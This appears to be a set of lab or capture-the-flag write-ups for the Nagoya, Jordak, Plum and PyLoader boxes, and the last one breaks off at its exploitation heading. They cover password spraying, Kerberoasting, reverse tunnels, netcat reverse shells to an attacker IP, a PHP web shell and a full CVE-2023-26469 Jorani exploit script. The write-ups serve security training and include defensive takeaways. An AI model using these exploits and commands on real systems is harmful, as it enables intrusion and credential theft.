Why it appears in guides: SeTcbPrivilege (Act as part of the operating system) lets a process authenticate as arbitrary users — abuse tools like tcb.exe wrap that into "run this command as SYSTEM/TCB."

Why we keep it in the post: Recon value — when you see SeTcbPrivilege Enabled, you should try the TCB angle once. It teaches the privilege class even when this instance blocks it.

What happened on this run: Command returned without adding p4yl0ad to Administrators (whoami /groups unchanged). Do not burn time debugging TCB — pivot to CreateSymlink (Phase 5), which is what the lab name signals anyway.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Nagoya is a Windows Domain Controller for nagoya-industries.com. The public IIS site exposes employee names. Those names validate over Kerberos, and season-themed passwords (Spring2023, Summer2023) spray successfully.

Authenticated SMB access to SYSVOL recovers a helpdesk password-reset tool with a hardcoded service account. That account Kerberoasts svc_mssql (Service1), enables password resets over RPC, and leads to WinRM. A SOCKS tunnel then reaches MSSQL over Kerberos as Administrator. xp_cmdshell plus SeImpersonatePrivilege and PrintSpoofer finish the host.

Enumeration​

Nmap​

nmap -sV -sC -p- 192.168.120.21 -v

Full scan output:

Nmap scan report for 192.168.120.21
Host is up (0.029s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
80/tcp    open  http              Microsoft IIS httpd 10.0
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Nagoya Industries - Nagoya
|_http-favicon: Unknown favicon MD5: 9200225B96881264E6481C77D69C622C
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-09-11 20:44:38Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
|_ssl-date: 2026-09-11T20:46:12+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Issuer: commonName=nagoya.nagoya-industries.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-10T20:37:57
| Not valid after:  2027-03-12T20:37:57
| rdp-ntlm-info: 
|   Target_Name: NAGOYA-IND
|   NetBIOS_Domain_Name: NAGOYA-IND
|   NetBIOS_Computer_Name: NAGOYA
|   DNS_Domain_Name: nagoya-industries.com
|   DNS_Computer_Name: nagoya.nagoya-industries.com
|   DNS_Tree_Name: nagoya-industries.com
|   Product_Version: 10.0.17763
|_  System_Time: 2026-09-11T20:45:32+00:00
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf            .NET Message Framing
49666/tcp open  msrpc             Microsoft Windows RPC
49667/tcp open  msrpc             Microsoft Windows RPC
49675/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc             Microsoft Windows RPC
49678/tcp open  msrpc             Microsoft Windows RPC
49691/tcp open  msrpc             Microsoft Windows RPC
49698/tcp open  msrpc             Microsoft Windows RPC
49717/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-09-11T20:45:34
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

This is a Domain Controller: DNS, Kerberos, LDAP, SMB, RDP, and WinRM are all present. Domain and host names:

Domain: nagoya-industries.com
Host:   nagoya.nagoya-industries.com
NetBIOS: NAGOYA / NAGOYA-IND

Anonymous LDAP bind is rejected:

ldapsearch -x -H ldap://192.168.120.21 -b "dc=nagoya-industries,DC=com"

result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5E, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

Employee username harvest​

The IIS site (Nagoya Industries) lists staff names. Save them as First.Last into user.txt:

Matthew.Harrison
Emma.Miah
Rebecca.Bell
Scott.Gardner
Terry.Edwards
Holly.Matthews
Anne.Jenkins
Brett.Naylor
Melissa.Mitchell
Craig.Carr
Fiona.Clark
Patrick.Martin
Kate.Watson
Kirsty.Norris
Andrea.Hayes
Abigail.Hughes
Melanie.Watson
Frances.Ward
Sylvia.King
Wayne.Hartley
Iain.White
Joanna.Wood
Bethan.Webster
Elaine.Brady
Christopher.Lewis
Megan.Johnson
Damien.Chapman
Joanne.Lewis

Kerbrute user enumeration​

./kerbrute_linux_amd64 userenum --dc 192.168.120.21 -d nagoya-industries.com user.txt

2026/09/11 20:20:58 >  [+] VALID USERNAME:       Brett.Naylor@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Anne.Jenkins@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Rebecca.Bell@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Terry.Edwards@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Holly.Matthews@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Craig.Carr@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Emma.Miah@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Scott.Gardner@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Matthew.Harrison@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Melissa.Mitchell@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Kirsty.Norris@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Kate.Watson@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Patrick.Martin@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Melanie.Watson@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Frances.Ward@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Abigail.Hughes@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Andrea.Hayes@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Fiona.Clark@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Wayne.Hartley@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Sylvia.King@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Damien.Chapman@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Iain.White@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Megan.Johnson@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Christopher.Lewis@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Joanna.Wood@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Elaine.Brady@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Bethan.Webster@nagoya-industries.com
2026/09/11 20:20:58 >  [+] VALID USERNAME:       Joanne.Lewis@nagoya-industries.com
2026/09/11 20:20:58 >  Done! Tested 28 usernames (28 valid) in 0.067 seconds

All 28 harvested names are valid domain accounts.

Initial access — password spray​

Season-themed passwords fit the Nagoya climate theme (climatestotravel.com — Nagoya):

./kerbrute_linux_amd64 passwordspray --dc 192.168.120.21 -d nagoya-industries.com user.txt "Spring2023"

2026/09/11 21:09:26 >  [+] VALID LOGIN:  Craig.Carr@nagoya-industries.com:Spring2023

./kerbrute_linux_amd64 passwordspray --dc 192.168.120.21 -d nagoya-industries.com user.txt "Summer2023"

2026/09/11 21:09:36 >  [+] VALID LOGIN:  Fiona.Clark@nagoya-industries.com:Summer2023

Valid domain credentials:

Craig.Carr  : Spring2023
Fiona.Clark : Summer2023

SYSVOL — ResetPassword.exe​

List shares as Craig.Carr:

smbclient -U Craig.Carr -L 192.168.120.21

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
SYSVOL          Disk      Logon server share

Browse SYSVOL and pull the helpdesk reset tool:

smbclient //192.168.120.21/SYSVOL -U Craig.Carr

smb: \nagoya-industries.com\scripts\ResetPassword\> ls
  .                                   D        0  Sun Apr 30 04:07:07 2023
  ..                                  D        0  Sun Apr 30 04:07:07 2023
  ResetPassword.exe                   A     5120  Sun Apr 30 13:04:02 2023
  ResetPassword.exe.config            A      189  Sun Apr 30 12:53:50 2023
  System.IO.FileSystem.AccessControl.dll      A    28552  Mon Oct 19 23:39:30 2020
  System.IO.FileSystem.AccessControl.xml      A    65116  Sat Oct 10 01:10:54 2020
  System.Security.AccessControl.dll      A    35952  Sat Oct 23 04:45:08 2021
  System.Security.AccessControl.xml      A   231631  Tue Oct 19 12:14:20 2021
  System.Security.Permissions.dll      A    30328  Tue Oct 18 21:34:02 2022
  System.Security.Permissions.xml      A     8987  Tue Oct 18 21:34:02 2022
  System.Security.Principal.Windows.dll      A    18312  Mon Oct 19 23:46:28 2020
  System.Security.Principal.Windows.xml      A    90968  Sat Oct 10 01:10:54 2020

smb: \nagoya-industries.com\scripts\ResetPassword\> get ResetPassword.exe

Extract embedded strings (UTF-16LE):

strings -e l ResetPassword.exe

Usage: PasswordReset.exe <Domain Username> <New Password>
nagoya-industries.com
User not found.
Password reset successful.
svc_helpdesk
U299iYRmikYTHDbPbxPoYYfa2j4x4cdg
VS_VERSION_INFO
...
FileDescription
ResetPassword
ProductName
ResetPassword

Hardcoded service credentials:

svc_helpdesk : U299iYRmikYTHDbPbxPoYYfa2j4x4cdg

Collect BloodHound data with the domain user:

bloodhound-python -d nagoya-industries.com -u Craig.Carr -p 'Spring2023' \
  -dc nagoya.nagoya-industries.com -gc nagoya.nagoya-industries.com \
  -ns 192.168.120.21 --dns-tcp -c all --zip

Kerberoasting​

Request TGS tickets with svc_helpdesk:

impacket-GetUserSPNs -request \
  -dc-ip 192.168.120.21 \
  -dc-host nagoya.nagoya-industries.com \
  nagoya-industries.com/svc_helpdesk:'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' \
  -outputfile kerberoast_hash.txt

ServicePrincipalName                Name          MemberOf                                          PasswordLastSet             LastLogon                   Delegation 
----------------------------------  ------------  ------------------------------------------------  --------------------------  --------------------------  ----------
http/nagoya.nagoya-industries.com   svc_helpdesk  CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com  2023-04-30 03:31:06.190955  <never>                                
MSSQL/nagoya.nagoya-industries.com  svc_mssql                                                       2023-04-30 03:45:33.288595  2024-08-03 13:48:01.815298             

Crack with John:

./john.exe .\pass.txt --wordlist=rockyou.txt

Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Service1         (?)
1g 0:00:00:05 DONE (2026-09-11 23:58) 0.1700g/s 2439Kp/s 2616Kc/s 2616KC/s !!123sabi!!123..♦*♥7¡Vamos!♥
Session completed

svc_mssql : Service1

Password reset → WinRM​

svc_helpdesk can reset domain user passwords (helpdesk privileges). Example via rpcclient:

rpcclient -U nagoya-industries/svc_helpdesk 192.168.120.21

rpcclient $> setuserinfo ELAINE.BRADY 23 'Password123'

WinRM succeeds for Christopher.Lewis:

crackmapexec winrm 192.168.120.21 -u christopher.Lewis -p Password1111

SMB         192.168.120.21  5985   NAGOYA           [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
HTTP        192.168.120.21  5985   NAGOYA           [*] http://192.168.120.21:5985/wsman
WINRM       192.168.120.21  5985   NAGOYA           [+] nagoya-industries.com\christopher.Lewis:Password1111 (Pwn3d!)

evil-winrm -i 192.168.120.21 -u christopher.Lewis -p Password1111

*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents>

SOCKS tunnel → MSSQL​

On the attacker host:

chisel server --reverse --socks5

2026/09/12 01:18:23 server: Reverse tunnelling enabled
2026/09/12 01:18:23 server: Listening on http://0.0.0.0:8080

On the target (Evil-WinRM):

iwr http://192.168.45.182/chisel.exe -OutFile C:\Users\Christopher.Lewis\Downloads\chisel.exe
.\chisel.exe client 192.168.45.182:8080 R:socks

Connect to MSSQL over Kerberos through the SOCKS proxy:

proxychains impacket-mssqlclient -k nagoya.nagoya-industries.com

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.120.21:1433  ...  OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)

SQL (NAGOYA-IND\Administrator  dbo@master)> enable_xp_cmdshell 1
INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(nagoya\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

The session lands as NAGOYA-IND\Administrator. Enable xp_cmdshell and fire a reverse shell (PowerShell TCP client, Base64-encoded) back to the attacker listener.

Confirm privileges in the callback shell:

whoami /priv

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SeImpersonatePrivilege is enabled — classic potato / PrintSpoofer territory.

Privilege escalation — PrintSpoofer​

Stage tools and escalate:

iwr http://192.168.45.182/PrintSpoofer64.exe -OutFile C:\Temp\PrintSpoofer64.exe
iwr http://192.168.45.182/nc.exe -OutFile C:\Temp\nc.exe
.\PrintSpoofer64.exe -c "nc.exe 192.168.45.182 1337 -e cmd"

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

Listener:

nc -lvp 1337

listening on [any] 1337 ...
connect to [192.168.45.182] from nagoya-industries.com [192.168.120.21] 50092
Microsoft Windows [Version 10.0.17763.4252]

C:\Windows\system32>whoami /priv

High-integrity / SYSTEM-class privileges are present (SeDebugPrivilege, SeBackupPrivilege, SeTakeOwnershipPrivilege, and the rest of the admin set).

Root outcome​

Nagoya is a full AD compromise chain:

• recon identifies a Domain Controller and the corporate website
• employee names → Kerbrute validation → seasonal password spray
• SYSVOL ships a helpdesk binary with hardcoded svc_helpdesk credentials
• Kerberoast cracks svc_mssql:Service1
• helpdesk password resets enable WinRM
• SOCKS + Kerberos MSSQL as Administrator → xp_cmdshell
• SeImpersonatePrivilege + PrintSpoofer → SYSTEM

Why this machine is a good lesson​

Nagoya rewards OSINT-style password guessing and careful reading of domain shares.

The website is not an RCE surface — it is a username factory. Seasonal passwords and a plaintext service credential in SYSVOL turn a low-priv domain user into Kerberoasting and helpdesk abuse. From there the path is classic Windows: WinRM, MSSQL, impersonation.

Defensive takeaways​

1. Do not publish full employee name lists that map 1:1 to domain usernames.
2. Ban predictable seasonal passwords (SeasonYYYY) and enforce MFA where possible.
3. Never store service credentials in binaries under SYSVOL / NETLOGON.
4. Restrict who can reset passwords; monitor setuserinfo / password-reset events.
5. Treat Kerberoastable SPNs as high value — long complex passwords or gMSA.
6. Lock down MSSQL (xp_cmdshell off, least-privilege service accounts).
7. Mitigate impersonation abuse (PrintSpoofer / potato family) on hosts that run privileged services.

References​

• Kerbrute
• A Detailed Guide on Kerbrute
• Nagoya climate (password theme hint)
• Impacket
• BloodHound.py
• Evil-WinRM
• Chisel
• PrintSpoofer

Unauthorized access is illegal. This write-up is for education and authorized lab work only.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Jordak looks quiet at first glance. A full TCP scan shows only SSH on 22 and Apache on 80, and the web title is the stock Ubuntu default page. The lab name and the reachable /session/login path tell a different story: the host is running Jorani, a leave and overtime management system.

Public research lands on CVE-2023-26469: unauthenticated remote code execution in Jorani prior to 1.0.2, built from log poisoning, header-based redirection bypass, and path traversal into the daily PHP log. The PoC yields a pseudo-shell as jordak. From there, sudo -l shows passwordless execution of /usr/bin/env, which is enough to run commands as root.

Enumeration​

Nmap​

Start with a full TCP scan plus service/version detection and default scripts:

nmap -sV -sC -p- 192.168.120.109 -v

Full scan output:

Completed NSE at 23:00, 0.00s elapsed
Nmap scan report for 192.168.120.109
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-favicon: Unknown favicon MD5: 96C540E05EFE5C9E11F15DD5CE70BB0F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 22 is ordinary SSH. Without credentials, it is not the initial-access path. Port 80 is the attack surface — but the default Apache banner is a distraction, not the product.

Identifying Jorani​

The machine name Jordak is a strong hint toward Jorani. Confirm by hitting the login route used by the application:

http://192.168.120.109/session/login

That path is enough to stop generic fuzzing and move into product-specific CVE research for Jorani leave management.

Exploitation path​

CVE-2023-26469​

CVE-2023-26469 affects Jorani prior to 1.0.2. The public PoC (by Guilhem Rioux / @jrjgjk) chains three issues:

1. Log poisoning — attacker-controlled input (including PHP) is written into the application log.
2. Path traversal via the language parameter — the login request can point the app at ../../application/logs.
3. Header-based command delivery — a random custom HTTP header carries a base64-encoded command; when the poisoned log is rendered through /pages/view/, that payload executes.

PoC reference: Orange-Cyberdefense / CVE_Jorani.py

PoC (poc.py)​

"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

msg = lambda x,y="\n":print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x,y="\n":print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x,y="\n":print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)

URLS = {
	'login' : '/session/login',
	'view'	: '/pages/view/',
}

alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))

BypassRedirect = {
	'X-REQUESTED-WITH'	: 'XMLHttpRequest',
	HEADER_NAME		: ""
}

INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo term

u = lambda x,y: x + URLS[y]

POISON_PAYLOAD		= "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD	= "../../application/logs"

if __name__ == '__main__':
	print("""
	/!\\ Do not use this if you are not authorized to /!\\
		""")
	log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")

	if(len(sys.argv) == 1):
		err(f"Usage: {sys.argv[0]} <url>")
		exit(0)

	log(f"Header used for exploit: {HEADER_NAME}")	
	

	t = sys.argv[1]

	s = requests.Session()
	log("Requesting session cookie")
	res = s.get(u(t,"login"), verify = False)

	C = s.cookies.get_dict()

	Date = datetime.date.today()
	log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"

	csrf_token = re.findall(CSRF_PATTERN, res.text)[0] 
	log(f"Poisonning log file with payload: '{POISON_PAYLOAD}'")
	log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
	msg(f"Recoveredd CSRF Token: {csrf_token}")

	data = {
		"csrf_test_jorani"	: csrf_token,
		"last_page"			: "session/login",
		"language"			: PATH_TRAV_PAYLOAD,
		"login"				: POISON_PAYLOAD,
		"CipheredValue"		: "DummyPassword"
	}

	s.post(u(t,"login"), data=data)

	log(f"Accessing log file: {log_file_name}")

	exp_page = t + URLS['view'] + log_file_name

	### Shell
	cmd = ""
	while True:
		cmd = input(INPUT)
		if(cmd in ['x', 'exit', 'quit']):
			break
		elif(cmd == ""):
			continue
		else:
			BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
			res = s.get(exp_page, headers=BypassRedirect)
			cmdRes = re.findall(CMD_PATTERN, res.text)
			try:
				print(cmdRes[0])
			except:
				print(res.text)
				err("Wow, there was a problem, are you sure of the URL ??")
				err('exiting..')
				exit(0)

Running the PoC​

From the lab working directory:

python poc.py http://192.168.120.109

Full session:

        /!\ Do not use this if you are not authorized to /!\

[?] POC made by @jrjgjk (Guilhem RIOUX)

[?] Header used for exploit: EONVSJMUNYAX
[?] Requesting session cookie
[?] Poisonning log file with payload: '<?php if(isset($_SERVER['HTTP_EONVSJMUNYAX'])){system(base64_decode($_SERVER['HTTP_EONVSJMUNYAX']));} ?>'
[?] Set path traversal to '../../application/logs'
[+] Recoveredd CSRF Token: c24c1317c4d8eb134788801e06e50f15
[?] Accessing log file: log-2026-09-04


jrjgjk@jorani(PSEUDO-TERM)
$ id

uid=1000(jordak) gid=1000(jordak) groups=1000(jordak),27(sudo)

jrjgjk@jorani(PSEUDO-TERM)
$ sudo -l

Matching Defaults entries for jordak on jordak:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jordak may run the following commands on jordak:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/bin/env

jrjgjk@jorani(PSEUDO-TERM)
$ sudo /usr/bin/env

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LANG=C
MAIL=/var/mail/root
LOGNAME=root
USER=root
HOME=/root
SHELL=/bin/bash
TERM=unknown
SUDO_COMMAND=/usr/bin/env
SUDO_USER=jordak
SUDO_UID=1000
SUDO_GID=1000

jrjgjk@jorani(PSEUDO-TERM)
$ sudo /usr/bin/env whoami

root

Initial access lands as the local user jordak, already in the sudo group. The NOPASSWD rule on /usr/bin/env is the privilege-escalation path.

Why this works​

Three conditions align:

1. Jorani is reachable without authentication hardening on the management UI.
2. The vulnerable release still writes attacker-influenced data into PHP log files that can be included.
3. Path traversal plus a spoofable request path turns a daily log into an executable RCE surface.

That turns an unauthenticated leave-management login into command execution on the host.

Privilege escalation​

env can execute an arbitrary program. With passwordless sudo on that binary, command execution as root is immediate:

sudo /usr/bin/env whoami

root

For a root shell, the same pattern works with a shell binary (for example sudo /usr/bin/env /bin/bash), consistent with known env sudo abuse patterns.

Root outcome​

Jordak is a short, high-signal chain:

• recon finds only SSH and Apache
• the default Ubuntu page is a red herring; Jorani is the real product
• CVE-2023-26469 yields unauthenticated RCE as jordak
• NOPASSWD sudo on /usr/bin/env elevates to root

Why this machine is a good lesson​

Jordak rewards precise product identification and careful reading of sudo rules.

The default Apache title can waste time if you treat the host as an empty install. Once Jorani is named, the CVE path is direct. After foothold, the lesson shifts from exotic local exploits to simple privilege misconfiguration: a passwordless helper binary is still a root path when it can launch other programs.

Defensive takeaways​

1. Patch Jorani to 1.0.2 or later for CVE-2023-26469.
2. Configure log files with a non-PHP extension and deny web access to the log directory.
3. Do not expose leave-management UIs to untrusted networks without strong auth and network controls.
4. Avoid NOPASSWD rules on wrappers like env that can execute arbitrary programs.
5. Monitor for anomalous custom HTTP headers and path-traversal patterns against login and page-view endpoints.

References​

• CVE-2023-26469 (NVD)
• Jorani PoC (Orange Cyberdefense)
• Metasploit: jorani_path_trav
• Jorani v1.0.2 security release
• GTFOBins: env

Unauthorized access is illegal. This write-up is for education and authorized lab work only.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Plum is a focused Linux web box with only two exposed services: SSH on 22 and Apache on 80. The web front page identifies PluXml, and the admin panel accepts default credentials.

That foothold is enough to reach a dangerous feature: template editing. A public PluXml 5.8.7 PoC shows how to inject a command web shell into static.php, then trigger it with a reverse shell payload. Initial access lands as www-data, and privilege escalation comes from sensitive credentials left in local mail, allowing su root.

Enumeration​

Nmap​

Start with a full TCP scan plus service/version detection and default scripts:

nmap -sV -sC -p- 192.168.120.28 -v

The host exposes only two ports:

22/tcp open  ssh   OpenSSH 8.4p1 Debian
80/tcp open  http  Apache httpd 2.4.56 (Debian)

The web title is the first major clue:

http-title: PluXml - Blog or CMS, XML powered !

With no extra services and no obvious SSH path, the CMS becomes the primary attack surface.

Web entry point​

The admin panel is reachable at:

http://192.168.120.28/core/admin/auth.php?p=/core/admin/

In this lab instance, default credentials work:

username: admin
password: admin

That immediately upgrades anonymous web access into authenticated CMS admin access.

Exploitation path​

PluXml authenticated RCE​

Once authenticated, the published PoC for PluXml 5.8.7 can be used to automate template modification:

• PoC reference: erlaplante/pluxml-rce
• Core idea: edit static.php, inject <?php system($_GET['cmd']); ?>, then execute OS commands through a controlled request.

Run it with attacker callback details:

python poc.py http://192.168.120.28 admin admin 192.168.45.209 5555

Listener:

penelope -p 5555

Expected result is a reverse shell session as the web server user:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why this works​

This chain is effective because three conditions align:

1. Administrative panel is reachable from attacker network.
2. Default credentials remain valid.
3. Admin-side template editing allows writing executable PHP into rendered files.

That turns "CMS admin" into direct command execution on the underlying host.

Privilege escalation​

Local situational awareness​

After foothold, host enumeration points to local mail artifacts:

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

linpeas highlights mail files under:

• /var/mail/www-data
• /var/spool/mail/www-data

Process monitoring (pspy) also confirms local services like Exim are active, reinforcing mail as a useful place to look.

Credential discovery in mailbox​

Reading the mail spool reveals a high-impact operational mistake:

cat /var/mail/www-data

Message content includes root credentials in cleartext:

root:6s8kaZZNaZZYBMfh2YEW

Use those credentials directly:

su root
id

Result:

uid=0(root) gid=0(root) groups=0(root)

Root outcome​

Plum demonstrates a realistic compromise chain that does not require a kernel exploit or complex local privilege escalation:

• recon finds a narrow surface (22, 80)
• app fingerprinting identifies PluXml
• default admin credentials provide authenticated control
• template editing becomes RCE and yields www-data
• mailbox credential leakage provides root

Why this machine is a good lesson​

The main lesson is operational hygiene, not exploit novelty.

Even when internet-facing services are minimal, weak application administration and poor secret handling can collapse host security quickly. Default CMS credentials and plaintext privileged secrets are both preventable controls that, if fixed, would break this chain.

Defensive takeaways​

1. Enforce unique admin credentials during installation; block or rotate defaults.
2. Restrict admin panels by network and strong authentication controls.
3. Treat template/plugin editors as code-execution surfaces and harden accordingly.
4. Never transmit or store privileged credentials in plaintext email.
5. Monitor and alert on suspicious template file changes and outbound callbacks.

References​

• PluXml RCE PoC (GitHub)
• PEASS-ng / linPEAS
• Penelope

Unauthorized access is illegal. This write-up is for education and authorized lab work only.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

PyLoader is a short, high-signal box. A full TCP scan shows only SSH and an HTTP service on 9666. That service is not a generic web app — version and title fingerprints identify it as pyLoad behind CherryPy/Cheroot.

Once the product is named, public research lands immediately on Exploit-DB 51532: a pre-auth RCE against pyLoad 0.5.0 (CVE-2023-0297). In the lab, a reverse shell callback returns as root with no privilege-escalation stage required.

Enumeration​

Nmap​

Start with a full TCP scan plus version and default scripts:

nmap -sV -sC -p- 192.168.120.26 -v

The host is quiet. Almost everything is closed. Only two ports matter:

22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu
9666/tcp open  http    CherryPy wsgiserver

The HTTP details are the real lead:

http-server-header: Cheroot/8.6.0
http-title: Login - pyLoad
http-robots.txt: 1 disallowed entry: /

That combination — non-standard port, CherryPy/Cheroot, and a pyLoad login page — is enough to stop broad web fuzzing and move straight into product-specific research.

Service analysis​

Port 22 is ordinary SSH. Without credentials, it is not the initial-access path.

Port 9666 is the attack surface. The title page redirects to /login, and the stack fingerprint points at pyLoad's web UI rather than a CMS or custom app. At this stage the question is simple: is there a public pre-auth issue for this product and version range?

Why pyLoad became the path​

This machine rewards naming the service correctly.

If you treat 9666 as "just another HTTP port," you can burn time on generic content discovery. If you take the Login - pyLoad title seriously, the research path collapses to a single CVE chain:

• exposed pyLoad web UI
• known pre-auth RCE in the vulnerable release window
• attacker-controlled command execution without credentials

That is the entire foothold model.

Exploitation path​

